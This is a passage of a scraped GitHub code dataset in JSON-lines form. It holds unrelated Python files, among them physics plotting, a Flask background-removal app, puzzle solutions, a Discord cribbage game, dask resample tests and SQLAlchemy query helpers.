f'{perm_dir}/questions/{new_fname}'\n shutil.copy(q_file, new_dest)\n q_num += 1\n\n perm_df.to_csv(f'{perm_dir}/permutation.csv', index_label='Index')\n\n\ndef make_permutation_live(perm_path):\n questions_path = Path(perm_path + '/questions')\n print('test')\n for q_file in questions_path.glob('*'):\n q_name = q_file.parts[-1]\n q_dest = f'./questions/{q_name}'\n print('test')\n shutil.copy(q_file, q_dest)\n\n\n\n\nif __name__ == '__main__':\n pass\n # png_to_jpg('questions/eg_barchart.png')\n # png_to_jpg('questions/eg_exp_1.png')\n # png_to_jpg('questions/eg_exp_2.png')\n # png_to_jpg('questions/eg_exp_3.png')\n # for i in range(1, 29):\n # thumbnail_image(f'questions/Q{i}_sample.jpg')\n # thumbnail_image(f'questions/Q{i}_exp_correct.jpg')\n # thumbnail_image(f'questions/Q{i}_exp_wrong_A.jpg')\n # thumbnail_image(f'questions/Q{i}_exp_wrong_B.jpg')\n # thumbnail_image(f'questions/ADV13_exp_correct.jpg')\n # thumbnail_image(f'questions/ADV13_exp_wrong_A.jpg')\n # thumbnail_image(f'questions/ADV13_exp_wrong_B.jpg')\n # thumbnail_image(f'questions/ADV16_exp_correct.jpg')\n # thumbnail_image(f'questions/ADV16_exp_wrong_A.jpg')\n # thumbnail_image(f'questions/ADV16_exp_wrong_B.jpg')\n # thumbnail_image(f'questions/eg_exp_1.jpg')\n # thumbnail_image(f'questions/eg_exp_2.jpg')\n # thumbnail_image(f'questions/eg_exp_3.jpg')\n # thumbnail_image(f'questions/eg_sample.jpg')\n\n # make_question_folders_from_root()\n\n create_permutation()\n\n make_permutation_live('./questions/permutations/perm_13')\n\n\n\n\n","repo_name":"amfrost/p230-study","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6692266205","text":"import matplotlib.pyplot as plt\nimport uproot3 as u3\nimport os\nimport argparse\nimport numpy as np\nfrom scripts.training_branches import key_lookup, DeepCSV_all_branches, new_ntuple_keys,file_comparison\nfrom scripts.recalculate_flightDistance import recalculate_flightDistance\nfrom functools import reduce\nfrom matplotlib.ticker import AutoMinorLocator\n\nplot_configs = {'jet_pt':{\"bins\": np.arange(0, 1000, 25) , \"log\": True},\n 'jet_eta':{\"bins\": np.linspace(-4.2, 4.2, 20) , \"log\": False},\n 'TagVarCSV_jetNSecondaryVertices':{\"bins\": np.arange(0, 10, 1) , \"log\": True},\n 'TagVarCSV_trackSumJetEtRatio':{\"bins\": np.linspace(0, 10, 10) , \"log\": True, \"underflow\": -999.},\n 'TagVarCSV_trackSumJetDeltaR':{\"bins\": np.linspace(0, 5, 10) , \"log\": True, \"underflow\": -999.},\n 'TagVarCSV_vertexCategory':{\"bins\": np.arange(0, 3, 1) , \"log\": True, \"underflow\": -999.},\n 'TagVarCSV_trackSip2dValAboveCharm':{\"bins\": np.linspace(-1., 0.2, 25) , \"log\": True, \"underflow\": -999.},\n 'TagVarCSV_trackSip2dSigAboveCharm':{\"bins\": np.linspace(-300., 400., 20) , \"log\": True, \"underflow\": -999.},\n 'TagVarCSV_trackSip3dValAboveCharm':{\"bins\": np.linspace(-2., 2., 15), \"log\": True, \"underflow\": -999.},\n 'TagVarCSV_trackSip3dSigAboveCharm':{\"bins\": np.linspace(-1100, 500, 30) , \"log\": True},\n 'TagVarCSV_jetNTracksEtaRel':{\"bins\": np.linspace(0, 12, 12) , \"log\": False},\n 'TagVarCSV_trackEtaRel':{\"bins\": np.linspace(0, 12, 12) , \"log\": False},\n 'TagVarCSV_vertexMass':{\"bins\": np.linspace(0, 550, 24) , \"log\": True},\n 'TagVarCSV_vertexNTracks':{\"bins\": np.arange(0, 32, 1) , \"log\": True},\n 'TagVarCSV_vertexEnergyRatio':{\"bins\": np.linspace(0, 200, 30) , \"log\": True},\n 'TagVarCSV_vertexJetDeltaR':{\"bins\": np.linspace(0., 0.3, 30) , \"log\": True},\n 'TagVarCSV_flightDistance2dVal':{\"bins\": np.linspace(0., 2.5, 40) , \"log\": True},\n 'TagVarCSV_flightDistance2dSig':{\"bins\": np.linspace(0., 1600, 20) , \"log\": True},\n 'TagVarCSV_flightDistance3dVal':{\"bins\": np.linspace(0., 40, 40), \"log\": True},\n 'TagVarCSV_flightDistance3dSig':{\"bins\": np.linspace(0., 1600, 40) , \"log\": True},\n 'TagVarCSVTrk_trackDecayLenVal':{\"bins\": np.arange(0, 6, 1) , \"log\": True},\n 'TagVarCSVTrk_trackSip2dSig':{\"bins\": np.arange(-300, 400, 20) , \"log\": True},\n 'TagVarCSVTrk_trackSip3dSig':{\"bins\": np.arange(-800, 800, 20) , \"log\": True},\n 'TagVarCSVTrk_trackPtRatio':{\"bins\": np.linspace(0, 0.3, 20) , \"log\": True},\n 'TagVarCSVTrk_trackDeltaR':{\"bins\": np.linspace(0., 0.3, 20) , \"log\": True},\n 'TagVarCSV_jetNSelectedTracks':{\"bins\": np.arange(0, 60, 1) , \"log\": False},\n 'TagVarCSVTrk_trackPtRel':{\"bins\": np.linspace(0., 60, 30) , \"log\": True},\n 'TagVarCSVTrk_trackJetDistVal':{\"bins\": np.linspace(-0.08, 0., 15) , \"log\": True}\n }\n\ndef compute_ratios(hist_online, hist_offline, bin_edges):\n r_a = hist_online / np.sum(hist_online)\n r_b = hist_offline / np.sum(hist_offline)\n ratios = r_a / (r_b + 1e-9)\n\n bin_centers = 0.5 * (bin_edges[1:] + bin_edges[:-1])\n bin_widths = np.diff(bin_centers)\n bin_widths = np.append(bin_widths, bin_widths[-1]) / 2.0\n\n return ratios, bin_centers\n\n\ndef plot_histogram(online_data, key, name, category_name):\n fig, ax = plt.subplots(1, 1)\n fig.subplots_adjust(hspace=0)\n\n hist_online, bin_edges = np.histogram( online_data, bins=plot_configs.get(key, {\"bins\": 20})[\"bins\"])\n\n ax.hist( online_data, bins = plot_configs.get(key,{\"bins\": 20} )[\"bins\"], label = \"Online $\\mu=${0:1.2f} $\\sigma$={1:1.2f}\".format(np.mean(online_data), np.std(online_data)), color=\"red\", alpha=0.5, density=True)\n ax.legend()\n if plot_configs.get(key, {\"log\": False})[\"log\"] is True:\n ax.set_yscale('log')\n ax.set_ylabel(\"N, normalized\", fontsize=15)\n ax.set_title(\"{}\\n{}\".format(name, category_name), fontsize=15)\n ax.grid(which='both', axis='y',linestyle=\"dashed\")\n\n # props = dict(boxstyle='round', facecolor='wheat', alpha=0.5)\n # # place a text box in upper left in axes coords\n # try:\n # textstr = \"Online:\\nmin {0:1.2f}\\nmax {1:1.2f}\\nOffline:\\nmin {2:1.2f}\\nmax {3:1.2f}\".format( np.min(online_data), np.max(online_data), np.min(offline_data), np.max(offline_data))\n # if tot_underflows != None:\n # textstr += \"\\nUnderflows: {}\".format(tot_underflows)\n # except ValueError as e:\n # print(e)\n # textstr = \"Error\"\n # ax.text(0.8, 0.75, textstr, transform=ax[0].transAxes, fontsize=8,\n # verticalalignment='top', bbox=props)\n\n\n ax.xaxis.set_minor_locator(AutoMinorLocator()) \n ax.tick_params(which='minor', length=4, color='black')\n\n fig.savefig( os.path.join(plot_dir, \"{}_{}.png\".format(name, key)))\n fig.savefig( os.path.join(plot_dir, \"{}_{}.pdf\".format(name, key)))\n plt.close()\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--file\", \"-i\", help=\"Input root-file\", type=str)\nparser.add_argument(\"--output\", \"-o\", help=\"Output directory TAG. For example v02 to add a v02 at the end of the root-file\", type=str, default=\"v00\")\nparser.add_argument(\"--target\", \"-t\", help=\"Target directory.\", type=str, default=\"./dataset_comp\")\nargs = parser.parse_args()\n\nonline_file = args.file\ntarget_dir = args.target\noutput_tag = args.output\nprocess_name = online_file.split(\"/\")[-1].split(\".\")[0]\n\nbase_dir = os.path.join(target_dir, \"{}_{}\".format(process_name, output_tag))\nos.makedirs(base_dir, exist_ok=True)\n\nonline_tree = u3.open(online_file)[\"ttree\"]\n\nplot_keys = key_lookup.keys()\n\n# online_jet_pt = online_tree[key_lookup[\"jet_pt\"]].array()\nonline_jet_pt = online_tree[\"Jet_pt\"].array()\n\n# on_pt_mask = (online_jet_pt > 25.) & (online_jet_pt < 1000.)\non_pt_mask = (online_jet_pt > 0.)\n\n# online_nSV = online_tree[key_lookup[\"TagVarCSV_jetNSecondaryVertices\"]].array()\nonline_nSV = online_tree[\"TagVarCSV_jetNSecondaryVertices\"].array()\n\non_nSV_mask = online_nSV >= 0\n\n\ncategory_names = [\"b_jets\", \"bb+gbb_jets\", \"lepb_jets\", \"c+cc+gcc_jets\", \"uds_jets\", \"g_jes\", \"all_jets\"]\n# categories = [ ['isB'], ['isBB', 'isGBB'], ['isLeptonicB', 'isLeptonicB_C'], ['isC', 'isCC', 'isGCC'], ['isUD', 'isS'], ['isG'], ['isB','isBB', 'isGBB', 'isLeptonicB', 'isLeptonicB_C', 'isC', 'isCC', 'isGCC','isUD', 'isS', 'isG']]\ncategories = [ ['Jet_isB'], ['Jet_isBB', 'Jet_isGBB'], ['Jet_isLeptonicB', 'Jet_isLeptonicB_C'], ['Jet_isC', 'Jet_isCC', 'Jet_isGCC'], ['Jet_isUD', 'Jet_isS'], ['Jet_isG'], ['Jet_isB','Jet_isBB', 'Jet_isGBB', 'Jet_isLeptonicB', 'Jet_isLeptonicB_C', 'Jet_isC', 'Jet_isCC', 'Jet_isGCC','Jet_isUD', 'Jet_isS', 'Jet_isG']]\n\nfor cat, cat_name in zip(categories, category_names):\n plot_dir = os.path.join( base_dir, cat_name )\n os.makedirs(plot_dir, exist_ok=True)\n\n # online_mask = reduce(np.logical_or , [ online_tree[key_lookup[k]].array() == 1 for k in cat])\n online_mask = reduce(np.logical_or , [ online_tree[k].array() == 1 for k in cat])\n\n online_mask = on_pt_mask & online_mask\n\n # for key in plot_configs.keys():\n for key in new_ntuple_keys:\n if key in list(map(lambda x: x.decode(\"utf-8\"), online_tree.keys())):\n online_data = online_tree[key].array()\n\n print(\"key:\\t\", key)\n # if \"vertex\" in key:\n # print(\"Setting Values to 0:\\nOnline:\\t{}\\nOffline:\\t{}\".format(sum(np.invert(on_nSV_mask)), sum(np.invert(off_nSV_mask))))\n # online_data[np.invert(on_nSV_mask)] *= 0.\n\n online_data = online_data[online_mask].flatten()\n\n print(\"Starting plotting\")\n plot_histogram(online_data, key, process_name, cat_name)\n","repo_name":"NiclasEich/BTV-HLT-training-tools","sub_path":"plotting/plot_tree.py","file_name":"plot_tree.py","file_ext":"py","file_size_in_byte":7902,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"11990522648","text":"import glob\nimport os\nfrom pytest_girder.assertions import assertStatusOk\n\n\ndef uploadSampleData(server, admin, globPattern):\n testFiles = [i for i in glob.glob(globPattern) if not i.endswith('.json')]\n public = getPublicFolder(server, admin)\n items = []\n for testFile in testFiles:\n name = os.path.basename(testFile)\n with open(testFile, 'rb') as f:\n item = server.uploadFile(name, f.read(), admin, public)\n items.append(item)\n\n return items\n\n\ndef getPublicFolder(server, admin):\n public = server.request(path='/folder', user=admin,\n params={'parentId': admin['_id'],\n 'parentType': 'user',\n 'name': 'Public'})\n assertStatusOk(public)\n return public.json[0]\n","repo_name":"OpenGeoscience/girder_geospatial","sub_path":"tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"36464769415","text":"#\n# * Core 117, Boxes Packing\n# * Medium\n\n# * You are given n rectangular boxes, the ith box has the length lengthi, the \n# * width widthi and the height heighti. Your task is to check if it is possible \n# * to pack all boxes into one so that inside each box there is no more than one \n# * another box (which, in turn, can contain at most one another box, and so on). \n# * More formally, your task is to check whether there is such sequence of n \n# * different numbers pi (1 ≤ pi ≤ n) that for each 1 ≤ i < n the box number pi \n# * can be put into the box number pi+1.\n\n# A box can be put into another box if all sides of the first one are less than \n# the respective ones of the second one. You can rotate each box as you wish, i.e. \n# you can swap its length, width and height if necessary.\n\n# * Example\n\n# For length = [1, 3, 2], width = [1, 3, 2], and height = [1, 3, 2], the output should be\n# boxesPacking(length, width, height) = true;\n# For length = [1, 1], width = [1, 1], and height = [1, 1], the output should be\n# boxesPacking(length, width, height) = false;\n# For length = [3, 1, 2], width = [3, 1, 2], and height = [3, 2, 1], the output should be\n# boxesPacking(length, width, height) = false.\n\n# * Input/Output\n\n# [execution time limit] 4 seconds (py3)\n\n# [input] array.integer length\n\n# Array of positive integers.\n\n# Guaranteed constraints:\n# 1 ≤ length.length ≤ 104,\n# 1 ≤ length[i] ≤ 2 · 104.\n\n# [input] array.integer width\n\n# Array of positive integers.\n\n# Guaranteed constraints:\n# width.length = length.length,\n# 1 ≤ width[i] ≤ 2 · 104.\n\n# [input] array.integer height\n\n# Array of positive integers.\n\n# Guaranteed constraints:\n# height.length = length.length,\n# 1 ≤ height[i] ≤ 2 · 104.\n\n# [output] boolean\n\n# true if it is possible to put all boxes into one, false otherwise.\n\n#%%\n\n# * Solution 1\n# ! For no rotation\ndef boxesPacking1(length: list, width: list, height: list) -> bool:\n lengthSorted = sorted(length)\n print(lengthSorted)\n for i in range(len(lengthSorted)):\n if i!=0:\n if lengthSorted[i-1] >= lengthSorted[i]:\n print(i)\n return False\n index = length.index(lengthSorted[i])\n indexBefore = length.index(lengthSorted[i-1])\n if width[indexBefore] >= width[index]:\n print('width')\n print(i)\n print(index)\n print(indexBefore)\n return False\n if height[indexBefore] >= height[index]:\n print('height')\n print(i)\n print(index)\n print(indexBefore)\n return False\n \n return True\n\n\n# * Solution 2\n# ! For rotatable\ndef boxesPacking2(length: list, width: list, height: list) -> bool:\n boxes = zip(length, width, height)\n sortedBoxes = []\n for box in boxes:\n # print(sorted([*box]))\n sortedBoxes.append(sorted([*box]))\n \n doubleSorted = sorted(sortedBoxes, key=lambda x: x[0])\n\n # print(doubleSorted)\n\n for i in range(1, len(doubleSorted)):\n for j in range(3):\n if doubleSorted[i-1][j] >= doubleSorted[i][j]:\n return False\n\n return True\n \n\na1 = [1,3,2]\nb1 = [1,3,2]\nc1 = [1,3,2]\nr1 = boxesPacking2(a1, b1, c1)\nprint(r1)\n\na1 = [1,1]\nb1 = [1,1]\nc1 = [1,1]\nr1 = boxesPacking2(a1, b1, c1)\nprint(r1)\n\na1 = [3,1,2]\nb1 = [3,1,2]\nc1 = [3,2,1]\nr1 = boxesPacking2(a1, b1, c1)\nprint(r1)\n\na1 = [5, 7, 4, 1, 2]\nb1 = [4, 10, 3, 1, 4]\nc1 = [6, 5, 5, 1, 2]\nr1 = boxesPacking2(a1, b1, c1)\nprint(r1)","repo_name":"Vagacoder/Codesignal","sub_path":"python/Arcade/Core/C117BoxesPacking.py","file_name":"C117BoxesPacking.py","file_ext":"py","file_size_in_byte":3663,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"31039623058","text":"from rembg import remove\nfrom flask import Flask, request, render_template, redirect, send_from_directory\nfrom time import time\n\napp = Flask(__name__)\n\n\n@app.get('/')\ndef index():\n return render_template(\"index.html\")\n\n\n@app.route('/removed/')\ndef send_report(path):\n return send_from_directory('removed', path)\n\n\n@app.post('/remove-bg')\ndef remove_bg():\n if request.files.get('inp') == None:\n return \"please provide the image with inp key\"\n f = request.files['inp']\n inp = f.stream.read()\n path = 'removed/no_bg-' + str(int(time())) + \\\n \"-\" + f.filename.split(\".\")[0] + \".png\"\n with open(path, \"wb\") as o:\n o.write(remove(inp))\n\n return redirect(path)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True, port=3000)\n","repo_name":"iamajraj/remove-bg-flask","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72807916908","text":"from asyncinit import asyncinit\nfrom discord import TextChannel\n\nfrom game import Game\n\n\n@asyncinit\nclass Match:\n\n async def __init__(self, bot, channel: TextChannel, players):\n self.bot = bot\n self.channel = channel\n self.players = players\n if len(players) > 2:\n self.three_players = True\n self.scores = {\n players[0]: 0,\n players[1]: 0,\n players[2]: 0\n }\n else:\n self.three_players = False\n self.scores = {\n players[0]: 0,\n players[1]: 0\n }\n\n self.game = None\n\n print(\"Welcome to Cribbage\", players, \"!\")\n\n async def award_points(self, points, player_name, reason):\n await self.channel.send(str(points) + \" point\" + (\"s\" if points > 1 else \"\") +\n \" to \" + player_name + \" for \" + reason)\n self.scores[player_name] += points\n for player in self.players:\n if self.scores[player] > 120:\n self.winner = player\n raise GameWon\n\n async def begin(self):\n try:\n await self.run_games(self.players.copy())\n except GameWon:\n await self.channel.send(\"Game over! \" + self.winner + \" wins!\")\n return\n\n async def run_games(self, game_players):\n game_players.append(game_players.pop(0)) # rotate players\n self.game = await Game(self.bot, self, game_players, self.run_games)\n\n\nclass GameWon(Exception):\n pass\n","repo_name":"JGreenlee/CribbageBot","sub_path":"match.py","file_name":"match.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15552736316","text":"'''\nApproach 1: Backtracking\nAlgorithm\n\nBacktracking is an algorithm for finding all solutions by exploring all potential candidates. \nIf the solution candidate turns to be not a solution (or at least not the last one), \nbacktracking algorithm discards it by making some changes on the previous step, \ni.e. backtracks and then try again.\n\nHere is a backtrack function which takes a first integer to add and a current combination as arguments \nbacktrack(first, curr).\n\nIf the current combination is done - add it to output.\n\nIterate over the integers from first to n.\n\nAdd integer i into the current combination curr.\n\nProceed to add more integers into the combination : backtrack(i + 1, curr).\n\nBacktrack by removing i from curr.\n'''\n\ndef combine(self, n: int, k: int) -> List[List[int]]:\n \n # Here is a backtrack function which takes a first integer to add and a current combination as arguments backtrack(first, curr).\n def backtrack(first, comb):\n # If the current combination is done - add it to output.\n if len(comb) == k:\n output.append(comb[:])\n # Iterate over the integers from first to n.\n for i in range(first, len(nums)):\n # Add integer i into the current combination curr.\n # print(nums[i])\n comb.append(nums[i])\n # Proceed to add more integers into the combination : backtrack(i + 1, curr).\n backtrack(i+1, comb)\n # Backtrack by removing i from curr.\n comb.pop()\n \n output = []\n nums = [i+1 for i in range(n)]\n backtrack(0, [])\n # print(output)\n return output\n \n","repo_name":"qscez2001/leetcode","sub_path":"77_Combinations.py","file_name":"77_Combinations.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31352932667","text":"from django.forms.utils import flatatt\nfrom django.utils.html import format_html, format_html_join\n\nfrom wagtail.blocks import StreamBlock\nfrom wagtailmedia.blocks import AbstractMediaChooserBlock\n\nclass AudioMediaBlock(AbstractMediaChooserBlock):\n def render_basic(self, value, context=None):\n if not value:\n return ''\n\n if value.type == 'video':\n player_code = '''\n

Watch video

\n
\n \n
\n '''\n else:\n player_code = '''\n

Listen to audio

\n
\n \n \n
\n '''\n\n return format_html(player_code, format_html_join(\n '\\n', \"\",\n [[flatatt(s)] for s in value.sources]\n ),\n value.sources[0].get('src'))\n\n class Meta():\n icon = 'media'\n label = 'Audio'\n\n\nclass AudioMediaStreamBlock(StreamBlock):\n media = AudioMediaBlock()\n\n required = False\n","repo_name":"devinit/DIwebsite-redesign","sub_path":"di_website/publications/blocks.py","file_name":"blocks.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"24277167590","text":"import math\n\nimport json\n\nfrom flask import request, Response\n\nfrom flask_sqlalchemy_booster.responses import as_json\n\nfrom io import StringIO\n\nfrom toolspy import merge, null_safe_type_cast, subdict, write_csv_file\n\nfrom .utils import (\n convert_sqla_collection_items_to_dicts,\n get_queried_field_labels, sqla_sort)\n\n\nQUERY_MODIFIERS = [\n 'page', 'per_page', 'limit', 'offset', 'order_by', 'sort']\n\n\ndef fetch_query_modifiers_from_request():\n return subdict(\n request.args,\n QUERY_MODIFIERS\n )\n\n\ndef construct_query_modifiers(\n query_modifiers=None, allow_modification_via_requests=True):\n default_query_modifiers = {\n \"page\": None,\n \"per_page\": 20,\n \"limit\": None,\n \"offset\": None,\n \"order_by\": None,\n \"sort\": \"asc\",\n }\n if query_modifiers is None:\n query_modifiers = {}\n query_modifiers = subdict(query_modifiers, QUERY_MODIFIERS)\n query_modifiers = merge(\n default_query_modifiers, query_modifiers)\n if allow_modification_via_requests:\n query_modifiers = merge(\n query_modifiers, fetch_query_modifiers_from_request())\n for k in ['page', 'per_page', 'limit', 'offset']:\n if k in query_modifiers:\n query_modifiers[k] = null_safe_type_cast(\n int, query_modifiers.get(k))\n return query_modifiers\n\n\ndef apply_modifiers_on_sqla_query(\n q, page=None, per_page=20, limit=None, offset=None,\n order_by=None, sort='asc'):\n if order_by is not None:\n q = q.order_by(sqla_sort(sort)(order_by))\n if page:\n per_page = int(per_page)\n q = q.limit(per_page).offset((int(page) - 1) * per_page)\n elif limit and offset:\n q = q.limit(limit).offset(int(offset) - 1)\n return q\n\n\ndef construct_meta_dict_from_query(q, query_modifiers):\n meta = {\n \"total_items\": q.count(),\n \"columns\": get_queried_field_labels(q)\n }\n if query_modifiers.get(\"page\"):\n meta[\"page\"] = query_modifiers[\"page\"]\n meta[\"per_page\"] = query_modifiers.get(\"per_page\")\n meta[\"total_pages\"] = math.ceil(\n meta[\"total_items\"] / meta[\"per_page\"])\n return meta\n\n\ndef construct_list_of_dicts_from_query(\n q, query_modifiers=None, allow_modification_via_requests=True):\n query_modifiers = construct_query_modifiers(\n query_modifiers,\n allow_modification_via_requests=allow_modification_via_requests)\n q = apply_modifiers_on_sqla_query(q, **query_modifiers)\n return convert_sqla_collection_items_to_dicts(q.all())\n\n\ndef construct_json_response_from_query(\n q, query_modifiers=None, allow_modification_via_requests=True):\n\n query_modifiers = construct_query_modifiers(\n query_modifiers,\n allow_modification_via_requests=allow_modification_via_requests)\n meta = construct_meta_dict_from_query(q, query_modifiers)\n\n q = apply_modifiers_on_sqla_query(q, **query_modifiers)\n\n result = q.all()\n # q.session.remove()\n\n return as_json(\n convert_sqla_collection_items_to_dicts(\n result\n ),\n meta=meta,\n struct_key=\"data\"\n )\n\n\ndef convert_csv_text_to_csv_response(csvtext):\n return Response(csvtext, mimetype=\"text/csv\")\n\n\ndef construct_csv_response_from_query(\n q, query_modifiers=None, allow_modification_via_requests=True):\n cols = get_queried_field_labels(q)\n rows = construct_list_of_dicts_from_query(\n q, query_modifiers=query_modifiers,\n allow_modification_via_requests=allow_modification_via_requests)\n strfile = StringIO()\n write_csv_file(strfile, rows=rows, cols=cols)\n csv_content = strfile.getvalue().strip(\"\\r\\n\")\n strfile.close()\n return convert_csv_text_to_csv_response(csv_content)\n\n\ndef fetch_filter_params(\n filter_params_schema=None, filter_params_arg='filter_params',\n convert_empty_string_to_none=True):\n filter_params = request.args.get(filter_params_arg)\n if filter_params and filter_params_schema:\n filter_params = json.loads(filter_params)\n for k, v in filter_params.items():\n if v == \"\":\n filter_params[k] = None\n filter_params = filter_params_schema().load(\n filter_params)\n return filter_params\n\n\ndef construct_response_from_query(\n q, json_query_modifiers=None, csv_query_modifiers=None,\n response_format=None):\n if response_format is None:\n response_format = request.args.get('format')\n if response_format == 'csv':\n return construct_csv_response_from_query(\n q, query_modifiers=csv_query_modifiers)\n elif response_format == 'dict':\n return construct_list_of_dicts_from_query(\n q, query_modifiers=json_query_modifiers)\n return construct_json_response_from_query(\n q, query_modifiers=json_query_modifiers)\n\n\ndef render_query_response(\n query_constructor, query_engine, db_base,\n json_query_modifiers=None,\n csv_query_modifiers=None, filter_params_schema=None,\n filter_params=None,\n response_format=None):\n if filter_params is None:\n filter_params = fetch_filter_params(\n filter_params_schema=filter_params_schema)\n session = query_engine.session()\n try:\n q = query_constructor(\n session, query_engine, db_base, filter_params=filter_params)\n response = construct_response_from_query(\n q, json_query_modifiers=json_query_modifiers,\n csv_query_modifiers=csv_query_modifiers,\n response_format=response_format)\n except Exception as e:\n session.rollback()\n raise e\n finally:\n session.close()\n return response\n\n\ndef convert_error_to_json_response(e):\n response = e.get_response()\n response.data = json.dumps({\n \"status\": \"failure\",\n \"error\": {\n \"code\": e.code,\n \"name\": e.name,\n \"description\": e.description\n }\n })\n response.content_type = \"application/json\"\n return response\n\n\ndef register_query_endpoints(app_or_bp, registration_dict):\n \"\"\"\n registration_dict = {\n \"/daily-transactions\": {\n \"query_constructor\": some_query_func,\n \"filter_params_schema\": SomeSchemaClass,\n \"json_query_modifiers\": {}\n }\n }\n \"\"\"\n def construct_get_func(\n query_constructor, json_query_modifiers=None,\n csv_query_modifiers=None,\n filter_params_schema=None):\n def _get_func():\n return render_query_response(\n query_constructor, json_query_modifiers=json_query_modifiers,\n csv_query_modifiers=csv_query_modifiers,\n filter_params_schema=filter_params_schema)\n return _get_func\n\n for url, data in registration_dict.items():\n get_func = construct_get_func(\n data[\"query_constructor\"],\n json_query_modifiers=data.get(\"json_query_modifiers\"),\n csv_query_modifiers=data.get(\"csv_query_modifiers\"),\n filter_params_schema=data.get(\"filter_params_schema\")\n )\n app_or_bp.route(\n url, methods=['GET'], endpoint=url.strip(\"/\").replace(\n \"-\", \"_\").replace(\"/\", \"_\")\n )(get_func)\n\n return app_or_bp\n","repo_name":"SuryaSankar/databuddy","sub_path":"databuddy/response_generators.py","file_name":"response_generators.py","file_ext":"py","file_size_in_byte":7300,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"27995559871","text":"from pynput.keyboard import Key, Controller\nimport time \nkeyboard = Controller()\ntime.sleep(5)\nwith open('beescript.txt','r') as f:\n\tfor line in f:\n\t\tfor word in line.split():\n\t\t\tfor letters in word:\n\t\t\t\tkeyboard.press(letters)\n\t\t\t\tkeyboard.release(letters)\n\t\t\tkeyboard.press(Key.space)\n\t\t\tkeyboard.release(Key.space)\n\t\ttime.sleep(1)\n\t\tkeyboard.press(Key.enter)\n\t\tkeyboard.release(Key.enter)","repo_name":"sidb98/BeeMovieScript","sub_path":"whatsappbot.py","file_name":"whatsappbot.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28518721834","text":"from itertools import product\n\nimport pandas as pd\nimport pytest\n\nfrom dask.dataframe.utils import assert_eq\nimport dask.dataframe as dd\n\n\ndef resample(df, freq, how='mean', **kwargs):\n return getattr(df.resample(freq, **kwargs), how)()\n\n\n@pytest.mark.parametrize(['obj', 'method', 'npartitions', 'freq', 'closed', 'label'],\n list(product(['series', 'frame'],\n ['count', 'mean', 'ohlc'],\n [2, 5],\n ['30T', 'h', 'd', 'w', 'M'],\n ['right', 'left'],\n ['right', 'left'])))\ndef test_series_resample(obj, method, npartitions, freq, closed, label):\n index = pd.date_range('1-1-2000', '2-15-2000', freq='h')\n index = index.union(pd.date_range('4-15-2000', '5-15-2000', freq='h'))\n if obj == 'series':\n ps = pd.Series(range(len(index)), index=index)\n elif obj == 'frame':\n ps = pd.DataFrame({'a':range(len(index))}, index=index)\n ds = dd.from_pandas(ps, npartitions=npartitions)\n # Series output\n\n result = resample(ds, freq, how=method, closed=closed, label=label)\n expected = resample(ps, freq, how=method, closed=closed, label=label)\n assert_eq(result, expected, check_dtype=False)\n\n divisions = result.divisions\n\n assert expected.index[0] == divisions[0]\n assert expected.index[-1] == divisions[-1]\n\n\ndef test_series_resample_not_implemented():\n index = pd.date_range(start='20120102', periods=100, freq='T')\n s = pd.Series(range(len(index)), index=index)\n ds = dd.from_pandas(s, npartitions=5)\n # Frequency doesn't evenly divide day\n pytest.raises(NotImplementedError, lambda: resample(ds, '57T'))\n\n\ndef test_unknown_divisions_error():\n df = pd.DataFrame({'x': [1, 2, 3]})\n ddf = dd.from_pandas(df, npartitions=2, sort=False)\n try:\n ddf.x.resample('1m').mean()\n assert False\n except ValueError as e:\n assert 'divisions' in str(e)\n","repo_name":"jeetmehta/Lung-Cancer-Classification","sub_path":"syde-522-env/lib/python2.7/site-packages/dask/dataframe/tseries/tests/test_resample.py","file_name":"test_resample.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"37"} +{"seq_id":"26922029391","text":"from setuptools import setup, find_packages\n\n\nversion = '1.0.1'\n\nwith open('README.rst') as doc:\n long_description = doc.read()\n\nsetup(\n name='pygments-ldif',\n version=version,\n description='LDAP Data Interchange Format (LDIF) lexer for Pygments',\n long_description=long_description,\n author='Rob McBroom',\n author_email='pygments-ldif@skurfer.com',\n license='MIT License',\n url='http://projects.skurfer.com/posts/2011/ldif_pygments/',\n packages=find_packages(),\n install_requires=['Pygments'],\n py_modules=['ldif_lexer'],\n entry_points={'pygments.lexers': 'ldif=ldif_lexer:LdifLexer'}\n)\n","repo_name":"skurfer/pygments-ldif","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"5740614306","text":"from sqlalchemy import Column, Integer, Float, ForeignKey\nfrom sqlalchemy.orm import relationship\nfrom models.dbcontext import DbContext as db\n\nclass StudentSnapshot(db.Base):\n \"\"\"\n model class (maps to snapshot table)\n \"\"\"\n __tablename__ = \"student_snapshot\"\n\n student_id = Column(Integer, ForeignKey(\"student.id\"), primary_key=True)\n student = relationship(\"Student\", uselist=False)\n class_rank = Column(Integer)\n hist_rank = Column(Integer)\n strongest_sub_id = Column(Integer, 